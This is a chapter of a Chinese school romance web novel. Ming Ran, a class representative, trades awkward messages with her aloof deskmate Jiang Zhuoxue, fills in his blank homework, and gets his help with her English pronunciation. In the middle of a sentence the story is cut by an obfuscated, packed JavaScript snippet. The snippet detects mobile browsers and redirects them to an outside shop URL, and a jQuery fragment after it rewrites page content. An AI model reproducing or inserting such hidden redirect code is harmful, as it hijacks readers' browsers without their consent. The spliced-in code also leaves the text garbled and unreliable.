江濯雪神情淡漠,撇开数目多少不谈,她什么意思?

    又是叫宝宝,又是发不明含义的转账。在教室里还总是没事找事,和他聊天。

    即使不刻意往那个方向想,可她的做法实在太过明显。

    倒霉的是,两人还是同桌,不是说避开就能避开的。

    江濯雪眉心微微蹙紧,他不喜欢浪费时间,打算直接挑明,打了几个字。

    【不谈恋……】

    还没发送,对方又发过来一条消息。

    【春意盎然:白天擅自拆封了你的纸巾,不好意思,按照市场价还你。】

    看似13.14,实则只是还钱。

    江濯雪面无表情地迅速按了几下删除键,重新打了一行字。

    【H:你就为了这点小事加我?】

    【春意盎然:对呀,你之前把我删掉了我都找不到你,要是你把我留在列表的话当然更方便啦~】

    江濯雪根本不在意什么方便不方便,或许是因为判断失误,或许是因为对面是他不太看得上的人,江濯雪不太想继续沟通,直接截断了她的幻想。

    【H:我不需要。还有其他事么?】

    明然看到这句,怎么会不明白,江濯雪又不耐烦了,十之八九,等着自己说完删好友呢。

    【春意盎然:……没事啦,你记得把转账领了宝宝!】

    【春意盎然:[猫猫流泪].jpg】

    然而最后一条表情包没发出去。因为后面多了一个红色感叹号。

    不出所料,他删好友的手不是一般的快,仿佛列表多她一个会中毒一样。转账也不领。

    她真是倒了天大的霉才跟他同桌。

    算了,以后放学再有什么事需要找他,就让许达林转达好了,麻烦点也没什么。

    不加好友也没什么,反正她和江濯雪也只会同桌这么两三天而已,完全没必要加好友。

    天气预报连日有雨,明然来学校的路上走得慢了些,到教室的时候同学们差不多已经都到了,明然一到教室就开始收数学作业。

    收到江濯雪这的时候,江濯雪还在打游戏,明然叫了他一声,“江濯雪,该交数学作业啦。”

    江濯雪眼神都没看她,随意抽出试卷给她。

    明然收好试卷,随便看了一眼他的,那试卷竟然比他的脸还干净,一个字都没写。

    另一个课代表收完了另一排的作业,与明然汇合时,也看到了那张试卷,惊奇道,“这谁啊?数学作业都敢不写?就不怕老张针对啊……”

    明然不知想到什么,眨了眨眼,微微抿唇:“估计他太忙忘记了吧,不过我估计他都会,我帮他写上吧。”

    周围听到的同学纷纷道:

    “明然,你也太仗义了。”

    “呜呜和明然真的很香,他俩同桌,一时不知道该羡慕谁了。”

    “林霜蝶,你看看人家的同桌,又会讲题,又帮写作业,能不能跟人家学学!”

    明然听到“林霜蝶”,又想起那晚撒谎自己跟林霜蝶很熟悉的事,心神一动,看过去。

    林霜蝶刷题的时候面无表情,看起来十分不好接近,对于同桌也只是随口回答,“哦,你可以去跟老师申请换同桌,我不介意。”

    同桌:“……”

    明然走到她座位旁,主动与她说话,“林霜蝶,我可以借用一下你的笔吗?”

    林霜蝶写题的手停了一下,似乎没想到从无交集的明然突然跟自己说话,抬起视线,见她抱着一摞试卷,虽然不喜欢这样突然接近,没说什么,将笔给她。

    明然:“谢谢啊。”将试卷搭在一旁,在那张空白试卷上写题。

    明然对这些题都有记忆,再加上没有难题,再写一遍也很快。

    林霜蝶本来在做自己的题,但明然写题速度实在太快,沙沙声如风拂柳叶,很难让人忽略,不由投去几分目光。

    就算是昨晚做过的作业,也不至于每个步骤、计算结果都记得,但她似乎一道题只需要看几秒就得出了结果,不需要抄题,也不需要列公式,明显熟练使用心算。

    心算需要充分调动五感、极高的专注度,还需要大量练习保证正确率,林霜蝶没见过几个熟练使用心算的,更何况明然的成绩在班里并不出众。但由于英语老师经常在课上提问明然,回答磕磕绊绊,林霜蝶对于她糟糕的英语成绩倒是有几分印象。

    出神的片刻,明然已经写完了,将两张字迹相同的试卷并排放在最上面,将笔还给她,“林霜蝶,你这支钢笔的什么牌子的,好丝滑呀,回头我也要买一个~”

    购买同款以此增进友谊,这种示好的话,林霜蝶从小听到大,他们大多带着目的,只不过有的人明显,有的人隐晦,而明然属于前者,她摇了摇头,懒得做回答,继续写题。

    明然心里想的是等放学给林霜蝶发个消息,问她要个链接,这一来二回,俩人不就变成朋友了吗?不需要多熟悉,之前的挖的坑也就填上啦!

    人和人之间,本关系浅薄,但只要有一个人主动,天长日久,总会建立起友谊的。

    她喜欢自己掌握节奏,所以乐意主动。

    交完作业回来,刚好打铃了,开始上英语早读。

    此时教室里安静下来了,江濯雪也不打游戏了,开始趴桌上睡觉。明然开始记单词。

    窗外梧桐细雨,明然冷风吹得颤栗了一下,披上校服外套,绕过江濯雪去关了窗,瞥到江濯雪。

    江濯雪碎发柔顺盖在额上,雪白的面颊泛着淡红色,闭眼没多久就呼吸均匀,不得不佩服他随时随地都能睡着的睡眠质量。

    看得她都要困了。

    明然挺直腰背,打起精神,抬高声音,“abandon……”

    “Hesleptwiththeabandonofastraydogonparkgrass.”

    江濯雪耳尖突然动了动,眉心紧紧拧起。

    明然看着练习题上的例句翻译了一下,“他睡着的样子,像一只被抛弃的流浪狗。”

    明然正准备记忆下一个单词,耳边乍然想起一个清冷低哑的声音。

    “发音,难听。”

    听到这句话,明然奇怪地看向江濯雪,见他还闭着眼睛,除了眉头异常皱起,仿佛刚刚说话的人不是他。

    他在说梦话吗?才睡了几分钟,连梦都做上了?

    明然感慨了一秒,没理会,继续背单词,“prejudice……”

    “Arrogancepreventsothersfromlovingme,andPrejudicepreventmefromlovingothers.(注)”

    没等明然品味一下这句话,那道凉凉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632477|206432||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的声音又响起。

    “听力0分。”

    明然:“?”他在说谁呢?

    江濯雪眼睫轻颤,睡着的时候眉头一直皱得极深,令人怀疑做了噩梦。

    肯定不是在说她,听力她能对好几个,跟0挺有差距的。

    下一秒,江濯雪睁开了眼睛,见到明然眉眼温和,丝毫未受到任何影响的样子,唇线紧抿。

    此时明然右手撑着腮,视线自然落在左侧,在他睁眼的瞬间,直接对上了目光。

    清醒的人总是反应更快,明然敛起情绪,微微一笑:“同桌,你睡醒啦?刚才梦到了什么。”

    那双漂亮的桃花眼微微一弯,好像天生含情,不需要做出太多表情,都很容易令人心生摇曳。

    江濯雪语气不咸不淡:“没做梦。”

    明然:“啊?”那刚说的不是梦话?

    江濯雪:“你能不能默背?”每一次将要睡着的时候都被她的别扭的发音搞清醒了。

    明然的声音并不难听,相反她有一把好嗓子,声如其人,柔和又清透,犹如初春融化的江水。只有读英语的时候带着一种蹩脚不和谐的感觉。

    明然只愣了一秒就调整过来,却是拒绝:“不能哦。”

    “江濯雪,挑剔谁都会。让别人改,除非你给出改的办法,让人信服。”

    她英语不好是因初中学业断断续续,基础的东西,她没法那么快改掉。

    所谓办法,就是他亲身教学。

    别说教学了,江濯雪连和她说话都勉强。

    果然,江濯雪脸色肉眼可见的冷冽下来。

    如果他不乐意,又接受不了她,只能调座位——而这正是明然真正的目的。

    谁稀罕他教学呢,不被气死才怪。

    江濯雪淡淡扫过她眉眼平静,毫不在意的模样,好像拿准了他拿不出改的办法,觉得他只会挑剔。

    即使她语气没什么变化,但他仍旧感觉到了轻视。这两天他头疼的要死。

    不为别的,只是为了自己的身体健康着想而已。

    猝不及防的,一串流利的英文在明然耳边响起。一道冷冽低磁的声线将那些冗长枯燥的英语句子复述了一遍,像潺潺流水淌过冷锻丝绸。

    刚刚明然念过的句子,江濯雪只听了一遍就全记住了,还全都修正了一遍。

    他是江家独子,教育这块都是由父母严格把关,从小就为他聘请了从英国精挑细选的本土私教,三岁能流利使用标准的英伦腔,后来还顺便学了法、德、意、俄等多国语言。

    他记忆力极好,学习语言如鱼得水。

    明然的耳根莫名有点发麻,她一个对英语不感冒的人,第一次听到有人把英语说得这么好听,比英语磁带里的还好听。

    而且这一过程中,江濯雪全程用那双水墨般的黑褐眼珠凝视着她,语调松弛而漫不经心。

    最后,江濯雪问:“信了?”

    明然已经将手肘放下,拿出笔匆匆记下,声音也软和了许多,“嗯……”

    记完,当场改正。

    明然将修正过的英文句子又慢慢念了一遍。

    江濯雪轻点眉心的指节微微一顿,没想到这一次她发音违和的部分已经改得差不多了。

    明然侧过头,眼底尽是澄明柔软的笑意,像一只讨赏的小猫,“同桌,你看我这次的发音还难听吗?”